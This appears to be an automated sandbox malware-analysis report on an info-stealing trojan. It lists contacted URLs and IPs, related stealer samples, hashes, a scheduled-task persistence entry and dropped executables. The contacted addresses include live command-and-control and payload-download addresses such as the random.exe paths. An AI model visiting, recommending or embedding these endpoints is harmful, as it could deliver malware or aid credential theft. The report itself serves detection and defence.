http://185.215.113.206/c4becf79229cb002.php/b	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buz	Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiz	Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/v	Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Idau8QuYa3.exe, 00000000.00000003.1754269088.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/W	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpA	skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php32D	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/apiF	Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php)	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedY	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/zipcryptservice/random.exe123456789	skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exe	Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php#	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/s	Idau8QuYa3.exe, 00000000.00000003.1856150659.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1860048202.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	Idau8QuYa3.exe, Idau8QuYa3.exe, 00000000.00000003.2004908373.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	Idau8QuYa3.exe, 00000000.00000003.1775620024.00000000056C2000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775672508.00000000056C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Idau8QuYa3.exe, 00000000.00000003.1754142493.000000000571F000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775550305.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775730691.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1754269088.0000000005718000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Idau8QuYa3.exe, 00000000.00000003.1798945022.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/zipcryptservice/random.exe	skotes.exe, 00000008.00000002.2935695973.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A41000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://james.newtonking.com/projects/json	soonmaiintain.exe.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php(2	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpded;	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/es7	Idau8QuYa3.exe, 00000000.00000003.1856150659.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1860048202.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpG	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	Idau8QuYa3.exe, 00000000.00000003.1754142493.0000000005721000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	soonmaiintain.exe.10.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpK	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/0	Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpd	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	soonmaiintain.exe.10.dr	false		high
http://185.215.113.16/steam/random.exe--	Idau8QuYa3.exe, 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Idau8QuYa3.exe, 00000000.00000003.1754269088.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/zipcryptservice/random.exe)	skotes.exe, 00000008.00000002.2935695973.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpn	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581217
Start date and time:	2024-12-27 08:43:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Idau8QuYa3.exe renamed because original name is a hash value
Original Sample Name:	0f02b493551249ebec8e7f1f77d27e03.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/8@1/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, PID 7852 because there are no executed function
Execution Graph export aborted for target Idau8QuYa3.exe, PID 7332 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:44:53	API Interceptor	71x Sleep call for process: Idau8QuYa3.exe modified
02:46:01	API Interceptor	673x Sleep call for process: skotes.exe modified
07:45:34	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.206	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/68b591d6548ec281/softokn3.dll
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	cqHMm0ykDG.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AEROEXPRESS-ASRU	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	31.41.244.11
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	31.41.244.11
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	31.41.244.11
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	31.41.244.11
WHOLESALECONNECTIONSNL	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
CLOUDFLARENETUS	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	172.67.153.243

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	104.21.11.101
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	104.21.11.101

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2282496
Entropy (8bit):	7.977141663846527
Encrypted:	false
SSDEEP:	49152:zbhNKaAGXnfj1V5GqSGIK7+yo22YdBwxpLwzvysDxeAPY01Y:/bHdGqCKSKdBwPUBDhw01Y
MD5:	71B104246AC3F43D058E7C67E8B07DEF
SHA1:	9CA447F8443A95DC7BFAF082AE88DB7C338CB580
SHA-256:	2EF46EDD099D06C685F70182337F9F0E1A8DD36B2977509EB5A309582F72E9C8
SHA-512:	4C58B1B89FFD82BEF5249ABE87506A0FB904384C239798D70EA4F5D5745168E143F0FD9340C52D526E997196DA4315906CEEDFAE8A923BDE26CC502C73B5BE3E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6..7...6..7...6..7...6..7...6...6...6..7...6..o6...6..7...6Rich...6................PE..d................."......\|...T"................@.............................0#.....T.#...`.......... ......................................<............"".................. #. .......T...........................................(... ............................text....{.......\|.................. ..`.rdata...".......$..................@..@.data...............................@....pdata..............................@..@.rsrc....0"......$".................@..@.reloc.. .... #.......".............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2282496
Entropy (8bit):	7.977141663846527
Encrypted:	false
SSDEEP:	49152:zbhNKaAGXnfj1V5GqSGIK7+yo22YdBwxpLwzvysDxeAPY01Y:/bHdGqCKSKdBwPUBDhw01Y
MD5:	71B104246AC3F43D058E7C67E8B07DEF
SHA1:	9CA447F8443A95DC7BFAF082AE88DB7C338CB580
SHA-256:	2EF46EDD099D06C685F70182337F9F0E1A8DD36B2977509EB5A309582F72E9C8
SHA-512:	4C58B1B89FFD82BEF5249ABE87506A0FB904384C239798D70EA4F5D5745168E143F0FD9340C52D526E997196DA4315906CEEDFAE8A923BDE26CC502C73B5BE3E
Malicious:	true
